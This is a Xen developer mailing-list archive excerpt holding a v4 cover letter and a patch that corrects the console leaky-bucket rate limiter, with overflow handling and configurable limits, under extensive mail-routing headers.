X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ5PEPF000001CC.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW5PR16MB5023
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI5MDA1OSBTYWx0ZWRfX11hIHsP7SmM9
 JXq9vUoc/52abTHiEqkZNqFL7jtLn8GMNRQmAExmOoDQ8yPbonNLvGCgwNGQ/HwwWAC0tf72w8I
 iZ9Gj3bCjq+wIWuBTVrCq3X74Dty4wYvXEfLi3rvmTCozejcrSpk
X-Authority-Analysis: v=2.4 cv=IJwyzAvG c=1 sm=1 tr=0 ts=6a69aaec cx=c_pps
 a=vcXwJhCbSog8BousImPcCw==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=0GA0A_IKJoUHBEAzNTkD:22 a=VwQbUJbxAAAA:8
 a=cbNQJ9GKAAAA:8 a=p0WdMEafAAAA:8 a=zy00MwZ_ieCBTVMzpBcA:9
 a=DqJYxgmhk6moR-_7_KoZ:22
X-Proofpoint-GUID: uyqlXCRuK_rvpiDsr21uDrnISckGQtTh
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI5MDA1OSBTYWx0ZWRfX08K/5o07IqH/
 jxsbfO2Ua20pRaIitmF/zyUcDjpoKxihJvcDlNUhgJcV0AvcEyj3IQTbOJbHqnWDJKqRglEQZKY
 Q1VILYC/atR9Nbb9/YsQDyZtM/CChMnMh/Sw+/qrhRmi6sWswELJMBG4R0casTIaIrf0BZDQfXZ
 zFwLuJSfA5oK8XmKMgV6oJmBzMZd6FX6cA9ASwb45FIhwiQKJfBwZOCQfAIzC2bLDicEm+PD45n
 CvaOtKArAz6dXiG0ZnnT5j7eb0YvAa9ydwfnetGQVDIKQ1TeoBV4ViV22ctpxu8pAySouoTeQ6t
 V0pte0KwdLDn3C+7691m9cMxIbj5Q1P/T6LekFbrrK5jInE6iJzR0bFisWjoXm+XmhpJmQ3fEEI
 e3BvdXXyVEVPlFDNhNRy0VimSWEl0nhKPRsEt6A+wrOMaap5b7Keo4MlHZQVTJo/ncX//gDfUD4
 rGt1yrAhPDJ1kenT7bQ==
X-Proofpoint-ORIG-GUID: uyqlXCRuK_rvpiDsr21uDrnISckGQtTh
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-29_02,2026-07-28_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 clxscore=1015
 malwarescore=0 lowpriorityscore=0 priorityscore=1501 impostorscore=0
 phishscore=0 bulkscore=0 spamscore=0 adultscore=0 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607290059
X-purgate-ID: tlsNG-16d1c6/1785309934-F70C777B-79C54F1A/0/0
X-purgate-type: clean
X-purgate-size: 745

The series introduces compile-configuration for diagnostic
messages rate-limiting.

Patch 1 is a fixup for the rate-limiter to adjust to user-defined
rate-limiting parameters.

Patch 2 introduces compile-time rate-limiting controls.

[1] v3: https://lore.kernel.org/xen-devel/20260715201902.2984407-1-dmukhin@ford.com/
[2] CI: https://gitlab.com/xen-project/people/dmukhin/xen/-/pipelines/2714300378

Denis Mukhin (2):
  xen/console: correct leaky-bucket rate limiter
  xen/console: add build-time rate-limiting controls

 xen/common/Kconfig         | 36 +++++++++++++++++++++++++++++++
 xen/drivers/char/console.c | 43 ++++++++++++++++++++++++++++++--------
 2 files changed, 70 insertions(+), 9 deletions(-)

-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 07:25:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 07:25:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375210.1622426 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woyfZ-0006PN-HC; Wed, 29 Jul 2026 07:25:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375210.1622426; Wed, 29 Jul 2026 07:25:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woyfZ-0006PG-EW; Wed, 29 Jul 2026 07:25:37 +0000
Received: by outflank-mailman (input) for mailman id 1375210;
 Wed, 29 Jul 2026 07:25:36 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1woyfX-0006P5-NL
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 07:25:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woyfW-001hkJ-Rv
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 09:25:34 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a69aae8-bab6-0a2a0a5309dd-0a2a4503cbd6-24
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:25:34 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a69aaec-fae8-0a2a45030019-94a39217c184-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:25:34 +0200
Received: from pps.filterd (m0384718.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66T73r7T328964
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 07:25:32 GMT
Received: from mw6pr02cu001.outbound.protection.outlook.com
 (mail-westus2azon11012066.outbound.protection.outlook.com [52.101.48.66])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4fq8k8hpcv-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 07:25:32 +0000 (GMT)
Received: from BY3PR05CA0034.namprd05.prod.outlook.com (2603:10b6:a03:39b::9)
 by CO6PR16MB4258.namprd16.prod.outlook.com (2603:10b6:303:ac::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.13; Wed, 29 Jul
 2026 07:25:29 +0000
Received: from SJ5PEPF000001E9.namprd05.prod.outlook.com
 (2603:10b6:a03:39b:cafe::84) by BY3PR05CA0034.outlook.office365.com
 (2603:10b6:a03:39b::9) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Wed,
 29 Jul 2026 07:25:28 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 SJ5PEPF000001E9.mail.protection.outlook.com (10.167.242.197) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Wed, 29 Jul 2026 07:25:28 +0000
Received: from pps.filterd (m0426317.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66T4eI3M3315476
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 03:25:28 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [44.208.76.22])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fnc7qcapq-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 03:25:27 -0400 (EDT)
Received: from localhost ([19.12.92.222]) by cmsmtp with ESMTPSA
 id oyfNwCp091FgloyfOwSkg8; Wed, 29 Jul 2026 07:25:27 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=5JO
	3BAzhqckGmmnhQpN4I9aCz+F5+1HfZtzpqhvcsCc=; b=ojuk2jTh3aunHjtN/OZ
	JkvN3Mld7hK8gHKjmqFHGCJLX0v0HZcdLM8lBWo5rn//J/PZQV0as/m3DOTILNpL
	URwVF1LVsG4/R8DylZEs7d1Hha6W5ihQOPvshjcWscFK6aZ8eEVYgRWg5ylPKFon
	0OnZWcF4+HV/ds1QfMVlcDl5Ub3ddMJmBZW5nyrm1saZCdYCb7eF/uvX/UWUNgdz
	Fa+Gly+aLFs7n0DASsyiDX+mfKvwTaHya3oTrWDCnp23Y6kWUVpIcQqWqOVLHW1O
	RXmQj5YjdCiawZEYiep4azmhY6SF4U7gwStmH9qnSSUsJ9HfjielpjgNLTvZNYRt
	P/w==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=aoDxM80Gadt+JCzQKmG/xAqCam/DwgWyA0eTt6RVg7LXwkXnmMnTMhJpgzcIYJi9uarjPau7FXFvzCke3TUmH7JV9MzZmvNKTDGPIaJVv/rJEvPL80Tk2xkXvsoe4L1PRD9SWJlt8ai2YQvsblJJT7IgQJRZB0h7xL96q9DI6UZVS6/qVuTMdxbbQTWv5Prz3lSyifj/EYM/aLIW0ZQAFoS07BGiqE0aBZCQLUdNTX9FatkJ53R5z1UdPTYSYLBB+Q4jrXlLqQY/EiPpXKPGznlX3Vwt7koC1bviIPMyMT5krxC1D06TIdKc+l33dqO1NPH7saLS2E0/+lXUgVf14Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=5JO3BAzhqckGmmnhQpN4I9aCz+F5+1HfZtzpqhvcsCc=;
 b=emy44zpkXIhe0zykuMLjB22m9QwNeI/alwJuX89em2l0x0r0x4VFd+AQ0TKWjn8LH2InSp8Y4YCaEgVjsFvmQTrSmhHoJHgOMx0xvEAfMEPUwPcNsl1JbrkaNyblh/PhNFLZJpmG1CkdIIdIlx14v9aXutNBpcWLJKV3sbBvKmdsIjcGs5tjkwhECXVIxPW79Omy5D8KGXTSI+vx7vzPDtUnsJn/H3AOTrQMqVc+HhyJKGraDmeP0leVmgOMlySsSCuJz2CMfd1ZLkLC5+98jiylq8fVRCV3YI5Qbsn0QzJ9m4o26v3THbZ7jZzSlM9PO9uIPhODAOY5QDLgMmdMmQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=5JO3BAzhqckGmmnhQpN4I9aCz+F5+1HfZtzpqhvcsCc=;
 b=JlHBuokBEuO4ss1AqkSvUcVj46pNUVJg5BnrizPwZhjdV8sFgcJonwZHUqyI0+ATZQOmhIwzmaOFYhU2eEgeCYWwq4ELIGMpLjVuOLsBq5alP+ObvDI6cY+ArTkociDshrvbeqWQJn+K6rkROcpAQbkr+niGKvnBS4fmXWbzmDs=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=5JO3BAzhqckGmmnhQpN4I9aCz+F5+1HfZtzpqhvcsCc=; b=
	d82AFjk6dRXFn1wUV6qwye+lGIfYLMiaGU6DbyxNL8+XxpU2Tvydga4ob1romrzE
	GtZLK+we7tptJTvqAwbXDehOF9Qp5MbRR+O4V3ySxOsG/6/inksnvZTSTAKHABBs
	+weBXUN0EXctmXK85bV8SQ0ZwsGfEvCtBZQUHd45fKjHUk6qzthW9JqFr5UCW4IG
	2rt9XImEeG3WOZTI8kz1KiBwnUMCqpRXVQosHUOUIBHvlXrasvTqkccM2b8EUBJ3
	dub2pbuL4B35kMLessfowUldzqsE8Xn1Y3HLG6ppHiUwZ4fI97YRr2tTA+uhMz28
	PtTvTwoV/LONfR3bba0rdQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=5JO3BAz
	hqckGmmnhQpN4I9aCz+F5+1HfZtzpqhvcsCc=; b=WdIDGdc7CcLPOZWLcxUlpcq
	o5d/OfrRBwC8JqtYyV+bgKYttBw9jqCfshmysRMfabT60mDxnkDQla+1i4XGphvr
	D+CTFqs1drHIOd7nGcK/N/sWPpOmelgNDnnWXWNpYwiN5vmLD36wiFJ+Y/Qaec1d
	Ri20TNi8GRMmJI/unfjBXAV7jgUrMqQ6IxwstLyJM14R5NK8mHjeTuL6KGd9HIvs
	Qoy9wy1+UAcds8erN684AvKH5h5Lyo4SbVXIqQp/L6QYDKe+bmgS5QzBe9nVIX89
	lBk0EDfcK0Tyoz0nzsCxRawWKUQtgM/Okq1/s/7RhWMvUJ/LGBNSB0nf5Nz0CWw=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: oyfNwCp091FgloyfOwSkg8
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v4 1/2] xen/console: correct leaky-bucket rate limiter
Date: Wed, 29 Jul 2026 00:25:19 -0700
Message-ID: <20260729072520.1556970-2-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260729072520.1556970-1-dmukhin@ford.com>
References: <20260729072520.1556970-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-29_02,2026-07-28_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 adultscore=0
 spamscore=0 malwarescore=0 bulkscore=0 lowpriorityscore=0 suspectscore=0
 phishscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607290058
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ5PEPF000001E9:EE_|CO6PR16MB4258:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: c4e78184-b43c-47be-bae9-08deed4290a6
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|23010399003|1800799024|36860700016|376014|10067099003|56012099006|11063799006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	UYQ9KKSNwLmJR8jXlPxf7mpdgzh2dzT1hXKHYwbsdtkudVUjcZ8v927rBKUYEzJGRgSSCqYHwY4xeEs8MJJRSUzMjlQoidQPfP0GxzlZN0PERJEtFEfqdUmoX2jU1KbbvevZW0eZBv8/qwoofFlNcDXV1COjdN0eYg13AvZyC4T0igEXfg1Hq+9rxbKDrKy3/kfSD9OSlIh4XQIDXKS6OXusjo1L1v8fX9geBfrTCPW51B2rALq6JXEeJJlpfJz4rSkmGpYtaItmO8/vNRoY85SEtIQBPUE476ILh7U+OeSY/KfrGj5rUYS1N6kGXzBFtCH6O1AuRd71HnCHvKf6/7hOrIpj4aqZX6mBeLoaQDGOae/VvGtxUpdntjmPMwioqTjI7a6I5ot5DdLJVD7uCMpYvvdAorD1QZV6jvhHqcd4ppxsdtxG5U5IwY8E+OD6Z32kgojEFRl8p6r8maYXEv6NHA0m3obzLtQVST48wU7gVZsLU8PpGtaWasK2TrGk6XVLAYmS6QQkHtFXCwmkpC83bd8M1aKL5F8yGyDtoUB4Lx96E6oQ3KDmZ+loGFSyn40Hjm4g3NhATKsmDs3sic+h3XxLxYAk9j/aLNdQmDvBlpRCWHae4qqnnm9DpmqamLJeVr7EQwJDHpGEA7iAOEAozkVmzHT3+I+Ybj6Z1Nq47gdLoMtPcTqIG5l461r/iFIA/T85e9TWYvo727D58g==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(82310400026)(23010399003)(1800799024)(36860700016)(376014)(10067099003)(56012099006)(11063799006)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	fyQrw9t6jCJL5tMZp7SM1C7KXVPZmKzYwU05RfySTjONUJUe8JK88O0IB5oxvMpen6CYnVo4C13wQa67SH0bDvcnO+DkjCZ7EmpOQr+15nY9ew7lYgDFGTk8TX/PrPr3RKnxQx3Dd6klKNwaMRSgXAl0qqD+qGyCfDpruaI37KjddOMWVYqyOX2QEXf42r+IZqs2XlDSma+kyMZHDZWiqey3O8NmGh+81q/hqNlFjliNf8U003T1miRfUwQvLrVzDI5IctVVkUK3dmifetkSoFd3A85Ip/4xthI4fXBu4WNImBCdA3VGur/THk9XArE3uZbZjVv/l5BgR9gs195SVctg0CG5uFdNPSNlU5oUpYL/kj2c/JrWr9y2DKb5fTV1dKmeP9lSKjkQdAttTC5AF4aKWZVTji5JXMI3nbdSOtlxHk/XIMgN43OLXL6WFqFj
X-Exchange-RoutingPolicyChecked:
	TG85h6fFFAo6cISSmbNIVdseIxbcw4RaH+wnIfVTIifj/Fk3O7vqyvGCVxTTDTkPTRi9QMAARoeEH9plFu0uihHip6OoZ3jrTNZ4mp6topqoFZiVchuptUtH/L6+mZK96CoA2OF5O5hE7ZL4ZmQyEstqWVC1+y/F34aNmJ90/feKmxnlhid4xkwJqXE9VN0xvwSfpMUAoqJaA6KqGXKwAlZ4d3sCz2rM9SeaUaNd+oe5AjV8TuJ82wfkrL3G6NRAPHTt1NlaDmWfYoMUy3x7p0IuUFvUkJpTqVYN03kfWiWQLNksJqWpwsquveeZ7tp3Cd0RfClFuMi4z+JYdvNlOg==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	vuia/lOiZKu5TCdvtPAGa3A8NlZH+Zit1jxWRSm8k1bFVfibAINfAIEgY+e7S98HPnC/qF899fiJfQIT6dBaBVYaZfgNINAC1TcVASUA727RP+1nl/iUcUgqZ0DzexNhn5RsybX3lWPnait/x0pCHJxGg9O9eBPd1Y85D5SZxOOmKHjeouqxxPBGr1YIW88lh40BBqmdqJay5f6TvSVeSFuxvSWS3ebI/VOlc1lw84pivVECTCA/mhmjyMdcV2l4yk4Ib1hyCPRcEV7UHEMCxYn49uDBcY97EMux0XUXYV25kRd0MIfMzjGmbjvMRuRcdhoyLKT0tS7Jmj4sDsUSij20uIwH0DgVbhpZr/i+0HJUxZg4Pq65SrI53Jp1KlqMs7WXBuQAd8CPqvMISeQs3CMK2snBOudnK/Kjj9jtaa5T56UJUum/IArE0CwQbTP7CGianwILzPWe/bNZs/c8l7Uq6YaVJc70GyOIZofX0foWhYdoHVHICl9rmNRNdLcPyJM0FlzX8nnGx0AfP/B6mch6rgZXGuuT8U4xYbEVDsbFMpGUVak68Ch19zUKDe86xFussY+F25qfVRvOp7MEA9JSDnlrj01CbPsg7uasPdKUEmEyHAOWr/cnXl7zOr7/dKqdTPuD8JgnsJzByxMGOw==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 07:25:28.3181
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: c4e78184-b43c-47be-bae9-08deed4290a6
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ5PEPF000001E9.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CO6PR16MB4258
X-Proofpoint-GUID: fJ4wOrFi2x6HYP_-SB7TjlpynkJBjdG9
X-Authority-Analysis: v=2.4 cv=JaiMa0KV c=1 sm=1 tr=0 ts=6a69aaec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XbxTX36c3Ck33uJB3f5WbjTertNyz5SP+8oYA
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-29_02,2026-07-28_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 priorityscore=1501 lowpriorityscore=0 malwarescore=0 bulkscore=0 phishscore=0
 impostorscore=0 adultscore=0 suspectscore=0 clxscore=1015 spamscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607290059
X-purgate-ID: tlsNG-33051d/1785309934-77AF14E9-99BF3923/0/0
X-purgate-type: clean
X-purgate-size: 2621

From: Denis Mukhin <dmukhin@ford.com> 

Use existing 'ratelimit_ms' and 'ratelimit_burst' variables in
do_printk_ratelimit() instead of hardcoded values 5000 and 10 respectively.

Ensure rate limiter is disabled if either 'ratelimit_ms' or 'ratelimit_burst'
is 0.

Account for integer overflow in the rate-limiter logic.

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v3:
- fixed types
- fixed integer division logic - I used DIM_MUL2() from xvmalloc.h
  I hope this is fine given another pending patch which will include xvmalloc.h
  for heap allocations
- fixed potential problem w/ overflow of toks (introduced elapsed)
- fixed potential problem with toks == 0 which is also "uninitialized"
  state.
---
 xen/drivers/char/console.c | 37 ++++++++++++++++++++++++++++++-------
 1 file changed, 30 insertions(+), 7 deletions(-)

diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index ea4e3ff34178..76a1681670c1 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -33,6 +33,7 @@
 #include <asm/setup.h>
 #include <xen/sections.h>
 #include <xen/consoled.h>
+#include <xen/xvmalloc.h>
 
 #ifdef CONFIG_X86
 #include <asm/guest.h>
@@ -1286,21 +1287,43 @@ bool __printk_ratelimit(unsigned int ratelimit_ms,
                         unsigned int ratelimit_burst)
 {
     static DEFINE_SPINLOCK(ratelimit_lock);
-    static unsigned long toks = 10 * 5 * 1000;
+    static unsigned long toks;
     static unsigned long last_msg;
     static unsigned int missed;
+    static bool initialized;
+    unsigned long limit;
     unsigned long flags;
-    unsigned long long now = NOW(); /* ns */
     unsigned long ms;
+    s_time_t now;
 
-    do_div(now, 1000000);
-    ms = (unsigned long)now;
+    if ( !ratelimit_ms || !ratelimit_burst )
+        return true;
+
+    limit = DIM_MUL2(ratelimit_burst, ratelimit_ms);
+
+    now = NOW(); /* ns */
+    do_div(now, MILLISECS(1));
+    ms = now;
 
     spin_lock_irqsave(&ratelimit_lock, flags);
-    toks += ms - last_msg;
+
+    if ( initialized )
+    {
+        unsigned long elapsed = ms - last_msg;
+
+        if ( toks >= limit || elapsed >= limit - toks )
+            toks = limit;
+        else
+            toks += elapsed;
+    }
+    else
+    {
+        toks = limit;
+        initialized = true;
+    }
+
     last_msg = ms;
-    if ( toks > (ratelimit_burst * ratelimit_ms))
-        toks = ratelimit_burst * ratelimit_ms;
+
     if ( toks >= ratelimit_ms )
     {
         unsigned int lost = missed;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 07:25:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 07:25:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375212.1622444 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woyfd-0006qJ-6f; Wed, 29 Jul 2026 07:25:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375212.1622444; Wed, 29 Jul 2026 07:25:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woyfd-0006qC-3h; Wed, 29 Jul 2026 07:25:41 +0000
Received: by outflank-mailman (input) for mailman id 1375212;
 Wed, 29 Jul 2026 07:25:39 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1woyfb-0006n7-4q
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 07:25:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woyfa-004vRH-9a
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 09:25:38 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a69aaed-2eae-0a2a0a5409dd-0a2a4509da00-26
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:25:38 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a69aaf0-be1a-0a2a45090019-94a39217dff6-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:25:37 +0200
